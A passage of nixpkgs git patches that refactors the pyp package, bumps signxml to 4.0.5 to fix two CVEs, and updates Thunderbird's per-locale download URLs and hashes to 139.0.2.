 1 file changed, 12 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/py/pyp/package.nix b/pkgs/by-name/py/pyp/package.nix
index aea53b2c2b05..74fdc2f64af2 100644
--- a/pkgs/by-name/py/pyp/package.nix
+++ b/pkgs/by-name/py/pyp/package.nix
@@ -1,13 +1,16 @@
 {
   lib,
-  bc,
+  python3Packages,
   fetchFromGitHub,
+
+  # tests
+  addBinToPathHook,
+  bc,
   jq,
-  python3,
+  versionCheckHook,
 }:
 
 let
-  pythonPackages = python3.pkgs;
   finalAttrs = {
     pname = "pyp";
     version = "1.3.0";
@@ -21,35 +24,26 @@ let
 
     pyproject = true;
 
-    build-system = with pythonPackages; [
+    build-system = with python3Packages; [
       flit-core
     ];
 
     nativeCheckInputs =
-      (with pythonPackages; [
+      (with python3Packages; [
         pytestCheckHook
       ])
       ++ [
+        addBinToPathHook
         bc
         jq
+        versionCheckHook
       ];
+    versionCheckProgramArg = "--version";
 
     pythonImportsCheck = [
       "pyp"
     ];
 
-    # without this, the tests fail because they are unable to find the pyp tool
-    # itself...
-    preCheck = ''
-      _OLD_PATH_=$PATH
-      PATH=$out/bin:$PATH
-    '';
-
-    # And a cleanup!
-    postCheck = ''
-      PATH=$_OLD_PATH_
-    '';
-
     meta = {
       homepage = "https://github.com/hauntsaninja/pyp";
       description = "Easily run Python at the shell";
@@ -62,4 +56,4 @@ let
     };
   };
 in
-pythonPackages.buildPythonPackage finalAttrs
+python3Packages.buildPythonPackage finalAttrs

From 37277a6a130ad90c8f5347dd340a22f8492439ea Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sun, 15 Jun 2025 12:35:22 +0200
Subject: [PATCH 1213/4511] python3Packages.signxml: 4.0.3 -> 4.0.5

Fixes CVE-2025-48994 and CVE-2025-48995.

Changes:
https://github.com/XML-Security/signxml/releases/tag/v4.0.4
https://github.com/XML-Security/signxml/releases/tag/v4.0.5
(cherry picked from commit 332c90e8a4a302e6a4a82b08315a34a79e13baa4)
---
 pkgs/development/python-modules/signxml/default.nix | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/python-modules/signxml/default.nix b/pkgs/development/python-modules/signxml/default.nix
index d848c9b77581..e95ce8284894 100644
--- a/pkgs/development/python-modules/signxml/default.nix
+++ b/pkgs/development/python-modules/signxml/default.nix
@@ -8,12 +8,13 @@
   pyopenssl,
   pytestCheckHook,
   pythonOlder,
-  setuptools,
+  hatchling,
+  hatch-vcs,
 }:
 
 buildPythonPackage rec {
   pname = "signxml";
-  version = "4.0.3";
+  version = "4.0.5";
   pyproject = true;
 
   disabled = pythonOlder "3.7";
@@ -22,10 +23,13 @@ buildPythonPackage rec {
     owner = "XML-Security";
     repo = "signxml";
     tag = "v${version}";
-    hash = "sha256-TZqYNYVzGEhftP/RXiBtThK38AOPLi2DRAwnFh2Za5U=";
+    hash = "sha256-dO7erKXyX/3qwWVC1laABOb+0yAkCy51rrnG1opL6pY=";
   };
 
-  build-system = [ setuptools ];
+  build-system = [
+    hatchling
+    hatch-vcs
+  ];
 
   dependencies = [
     certifi

From f41d0b64b8d7a12dfe65a0640065cbc851984dfe Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 18 Jun 2025 08:49:52 +0000
Subject: [PATCH 1214/4511] thunderbird-latest-bin-unwrapped: 139.0.1 ->
 139.0.2

(cherry picked from commit bbf95cf92d47860450a46914370698ff17ad8391)
---
 .../thunderbird-bin/release_sources.nix       | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
index 68e77500f2a3..712fd2d22bbb 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "139.0.1";
+  version = "139.0.2";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/af/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/af/thunderbird-139.0.2.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "7ef065fa719bbf53cc90960e7e4447e693f9d09683ea9c08a07b1d96d1743bc9";
+      sha256 = "fac575196a0f674af9bc4a0bbcf28b4b6378d0f85c0027784ddaaae3e7948c82";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ar/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ar/thunderbird-139.0.2.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "1ccd6ebfec955788c16890625921bed8ff6257e6c0cb8e1d29c714d456f6f44b";
+      sha256 = "e607f615cc37d11b068608023eb04106a41610c055406bcd1ee8c0efb14e466d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ast/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ast/thunderbird-139.0.2.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "96071b6ca366486698f8c8df2fe6382f508ad060b09949be5bd90a0c0220e750";
+      sha256 = "f054f3460f07341a1b5d698d5fe68b6f4ac43715eabfde348137fa2aeee9245c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/be/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/be/thunderbird-139.0.2.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "483b03382e8424d8de2bdd0c3ef547e50229dda1bc715267a68398b1f6a76b70";
+      sha256 = "6d992740e1c8804e6eb21b5a54f58aa0d3038e97b0cb190f757d0998e9d332a2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/bg/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/bg/thunderbird-139.0.2.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "aaf55c20a839c19a29af4803d9638c26667122463a9e176775f5d3b11dd04a28";
+      sha256 = "9e0052b94a39ea779f25476f21695b6aaaa3d2e1a9728b8cf023844832a43407";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/br/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/br/thunderbird-139.0.2.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "90c4e7cce7a2cfeaf85e7c7dc82d9cdcac3fec6f229a03752e316127fe5a7f62";
+      sha256 = "9820286b62f9b19eaeab280a4dc44b47c9bde7c6207bd303be3ab2cdb841fa32";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ca/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ca/thunderbird-139.0.2.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "9f7c08369c2e4d5ab8a0e358a9d5d58f8e08a36283abf02cdd0830df6ead0f12";
+      sha256 = "5bbff46917963b11a4d27407f6e696aa1c1e1ae013574f7ba5f0a216dc1e5c1b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/cak/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/cak/thunderbird-139.0.2.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "f171cc36936c7e01bfec26c75d8af603e543ee8d3bbab0df19785d7cb565a1f3";
+      sha256 = "b230111ca99527b06a437a1515da5e6985843a11b9aa05c1a67063bebe4ae0ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/cs/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/cs/thunderbird-139.0.2.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "713673b7f136d135a33bf5bc868ad0b8407dc897cd1396dd9d38f7dfe112cd5f";
+      sha256 = "c1395573306bb7a8992c82ccee300588dbcec55db623e4818c1741d30f7db1ae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/cy/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/cy/thunderbird-139.0.2.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "7ce9780928b730d7afc91eb58205085d85e738356e9d7c3a8d42eb15a9c96c28";
+      sha256 = "b8b9e3642b8e4d979f96ecda5175c65eaf5186589292cfdcf1707b4647f656cf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/da/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/da/thunderbird-139.0.2.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "4b228ea6b03e8b668d5373c87083e5df09bdbdfb4e99096d7f41b3deca0a113f";
+      sha256 = "0e7602f34ccfb74069c5da866c56620c2d3ec7c8f4631cbcc9fe310ad6e2a11b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/de/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/de/thunderbird-139.0.2.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "81d03a58340356ef8251682a26ea716675dd0efd5b6fe44d05c67ec787a4775d";
+      sha256 = "f554153c2e3fbc1234c173fed2cbabdc4da217a79bb9076ea0e63973ff377c2c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/dsb/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/dsb/thunderbird-139.0.2.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "3a6bffe03366be36e60b929a0c11680dd4e23e70c3fb724754352e45ffda4a52";
+      sha256 = "1b6ce6fff33ee7cc0fcb1ade2f5aecad3d33b8842ad0f91651b0479495900214";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/el/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/el/thunderbird-139.0.2.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "e26e5ea129ddf0873e672d4801ab3ebc3343b3b4c4b4333bfd6b15014f056f4b";
+      sha256 = "adeb90cbca0d092dd7d03f9295c880a757aa4ec98da1912c30fe068e054804c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/en-CA/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/en-CA/thunderbird-139.0.2.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "f64a4226e56eebe7b153d6df2bd2ec2726df55d1ae5390b7ec5c1e5abdf4493f";
+      sha256 = "71eba2aeff733dd2d21700a7a92d7741b52aa1a2297003fdb612066e0846c5f2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/en-GB/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/en-GB/thunderbird-139.0.2.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "f20f525d312dc1cf137a026a9384fc1cd7b9e93bf71079b4034601a73c63f781";
+      sha256 = "2e9b4009229e378bf42a7f9a56fa4d8c84850323f94123bf69bd88877501f281";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/en-US/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/en-US/thunderbird-139.0.2.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "dedf6a79562de4206d282a5c2c6bcfa6b487b221f67205a5e1943c58207d973f";
+      sha256 = "586a26ae67befe3a9b435e5f704d8a802d89dd52f7f3c644b73ff3510effb546";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/es-AR/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/es-AR/thunderbird-139.0.2.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "6e5411df2be9a7060df619c431117156a0aa91cc2e502b3235897f3517dfa9d8";
+      sha256 = "265da7fe5b88196c220a287b4e8de3c3728c633ab85fa02dd352a25337b4a073";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/es-ES/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/es-ES/thunderbird-139.0.2.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "d2f50611860bb84aa5daef5d138ec9dd19e8f7d4f911952bf7e69929b47db5ce";
+      sha256 = "3e573a6363b0fb85485df4cdc20a59d3b5af25daf40930abef2c9e480203d248";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/es-MX/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/es-MX/thunderbird-139.0.2.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "1e8613b1c305c7154eeb33a6c9df0e94d0454400a5ee0c56f4cc651b43feab65";
+      sha256 = "e5fe333f6461143366441f2d9ed22fb423e5f9bb8b3d9fde064f15f37c7306dc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/et/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/et/thunderbird-139.0.2.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "bed511d77ab5c8cec7ce4f39566f734eaa7524fc0c8acfa47d39e4ef02a8e334";
+      sha256 = "182a2b9bfd8711b694ada070426e06c29b6b6b07755e3caa813ea5e4776a17fd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/eu/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/eu/thunderbird-139.0.2.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "889231875468dcc70efb754396760a784f442c02bac0798ec2dc4af4465e0e00";
+      sha256 = "f948dc2e081de225381908f0cd7e488610d47fec1de74eee4bd2d64083db6456";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/fi/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/fi/thunderbird-139.0.2.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "c851f335b07df527c30bb91f0e3d23630db9f66eb777de71e82eb5b361b4f33a";
+      sha256 = "88e46da83192cec302e860ac87a7da89f4315fcc7075309738e8620f83d18c1c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/fr/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/fr/thunderbird-139.0.2.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "2865d107f04cb96c0ce7d32fb5b011d95fef0aef857e945141e71a1667b93c59";
+      sha256 = "756f63ecbb4174fecdd65caed5813deeaf500c15d3762f966bf49a51a04f7343";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/fy-NL/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/fy-NL/thunderbird-139.0.2.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "49f409fe9bf8c333411cb22266cd3ce1320e185cd0ca51a185fc4003dcbce8b7";
+      sha256 = "ee21ad76da5a373d2de3121e8b2a3cf894b522d1ee88e7b5690c78352c505d60";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ga-IE/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ga-IE/thunderbird-139.0.2.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "e2013f4dec549534a69355516ba77e78a6bec2aa829f8fd3d65d324addcd21f7";
+      sha256 = "35fe29248d87da93b544acc514180f55fa874b645fab57e7db41a019157652bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/gd/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/gd/thunderbird-139.0.2.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "a9ae80efc69bf1e8ac66e727b0e55b1fc8102a6920504fc19ab3c3349eb5538e";
+      sha256 = "37c75f8635251cf91de32a95b1d146f276cb2c03fed5aa0f3e49fe7f65b04211";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/gl/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/gl/thunderbird-139.0.2.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "1628ed76c9d0f2356bf343ad7d01a0519bbdc922176c89d0823083419381fe97";
+      sha256 = "6f9b6701d431112d4f3288834d029151ba8be7212258de4a1b9fa27aa7f3e3a0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/he/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/he/thunderbird-139.0.2.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "372aa98be9ab60171732a129eb22651b78c9eef707462a10215c54df839f4bf8";
+      sha256 = "7d47acafcda302e129804763670e8440f0968b7ea1307ffd1f6a7cc4c8461ca0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/hr/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/hr/thunderbird-139.0.2.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "bcaeb2708f6ec35685a36ad842a373e17a3fe0cc4ecd3f3ff83da6b044738b24";
+      sha256 = "cdcdeb674f9289a7267c46c86e347dcd4255a5962cbbdca79fb2951ea5b71b27";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/hsb/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/hsb/thunderbird-139.0.2.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "94d6bd4a991d0dea6776f8514700e257700a225ff0c742a3eb8367f02a59e3c8";
+      sha256 = "0756e367e329ea10a87590954ea97b2b17a2475b8d72dc59919541539b0a7b30";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/hu/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/hu/thunderbird-139.0.2.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "60b1b13ff2ee3f1817cfbc28f3b91e89646c2ac0b284c49c49787d50c3d6f402";
+      sha256 = "1b3279673b30b342da299cbaa2973ba48ddc4b739b88c5e6e5825b954b731f6c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/hy-AM/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/hy-AM/thunderbird-139.0.2.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "e4c862e6cdb3d1ec0bbec2177b2c6e8ff1380fbc86a67a8623696bf3b42d98e1";
+      sha256 = "82c9d1f617a56cbd300ae6d0fa0ac6a633cf8a1610d1ab612902a6503ca55a3e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/id/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/id/thunderbird-139.0.2.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "ee6bfa08b9762a263775e0277ce073a1702cf5220f9bd3c11fa0916311ac46b7";
+      sha256 = "c420f360bd82e4f840e0a20f25c3a8dc3984d2b95594310930e20f55693a1e92";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/is/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/is/thunderbird-139.0.2.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "a9cd910fff3728cd03889229371843b0e82917781ff6fc08543a7ce8627d9bb5";
+      sha256 = "bbdf9ca3a40f1808312238dbda332bdbeb82aad249c62e9ea578e0e0e10abbbd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/it/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/it/thunderbird-139.0.2.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "ab5e8383942baff5651163634abe77e12630043043a9bdcbb94770fa9aa197f6";
+      sha256 = "6a320104a48724bfe7a4b30108fe36d2858dac36977555f7c8cb8258c0213a3b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ja/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ja/thunderbird-139.0.2.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "39ca584b1e3e9e0c9b66c76ff4ed90d74217e67eef77f52ad28875efc0eb1fd1";
+      sha256 = "abaf0566a742c1e362f3e26d58a148bfa1e8e1e7cdcb2ab2bdee0f9c1d5c6672";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ka/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ka/thunderbird-139.0.2.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "8ca65d0cc30231cab311c69fcb5d5476a9cc8b29617b084a83a6403d73351a13";
+      sha256 = "944155d09532a22bc3d3df1bd98c4f60156e2be13387469c25c7f0afcc802dc6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/kab/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/kab/thunderbird-139.0.2.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "b1ca13cae106971b3e2870eea1f982b44097791cd3be96650a994ad3930b1c3f";
+      sha256 = "6961557b8f8b1861859cbb4f434934b108864417ea154ae39a20090f4473e987";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/kk/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/kk/thunderbird-139.0.2.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "4fc774da83dd6c3de1798f5fd80322051896e4b00e71cff4a9ed71118d72e8ab";
+      sha256 = "c5b3822594e14f87e79864d51d9601dc28402bd137cece61b1ab5e8090cc15cb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ko/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ko/thunderbird-139.0.2.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "841e9542be655e83ca7bb2047900553299df34a7488a48a854f4895fb5b3b987";
+      sha256 = "a15e35c955dbb8afce11bfd3d760e3e82008513ff8616e9467aade7e51f9e1c8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/lt/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/lt/thunderbird-139.0.2.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "212d437ef461bde05244c9a5c03ec34892338d64009b5189ec1aadac7215f83d";
+      sha256 = "710861d995c73b852ec829a743c026448894b21b564fceb10b954af20c762f96";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/lv/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/lv/thunderbird-139.0.2.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "c0c46cae2c8869a96507e43bb101d504b3aeb9b75e891ca86f8e09af6390ef78";
+      sha256 = "383bcfc9abe761fb567ced9f148e8185d87f180e5e2098ed820756b9909aa517";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ms/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ms/thunderbird-139.0.2.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "d3dc90b521bb031dc2f88ab6a33c7e7b8787cfa60f661c5d44353790d1f5df4d";
+      sha256 = "dcf7c77542edb9035d588a5e313642235840168a93d3a317f772c4f519e2d38a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/nb-NO/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/nb-NO/thunderbird-139.0.2.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "5a48f953c80b0eb7ed79c267a9774fc46e78c0938e898d0f5564d5bfe6e3107b";
+      sha256 = "39e277927fa2b5b6e2fd407e03eabf17d67b44b3941fc07488c2cac6bdf8b136";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/nl/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/nl/thunderbird-139.0.2.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "43a3feaa77d4deb2a5eac7e0d656c7c98c080fde67adb404840d64d637d2551a";
+      sha256 = "1e3d4bd0a56e06a51280503a4240039456a485be67b5078a52ac40bac76d021a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/nn-NO/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/nn-NO/thunderbird-139.0.2.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "c7eaf6891abc7883a6dbfa71a8fd60ec06876312009438815130e8d5fdf76ced";
+      sha256 = "7dec758e056e9360979ca8f2dd4222d4cee6960f3280f5d3f78cbf83fb4e3740";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/pa-IN/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/pa-IN/thunderbird-139.0.2.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "d798542672ee30e8412ec69e30c097422fefca56dc84237861c9f3034959867f";
+      sha256 = "f9ea9a44b5568bfc17df45a498d7179c3f545bd9fee4fd14e0df6f6ca264e0e5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/pl/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/pl/thunderbird-139.0.2.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "8ac1464237e4c35d678ef33345b31dcee1ba3c93ff6f537d125df211b03fe987";
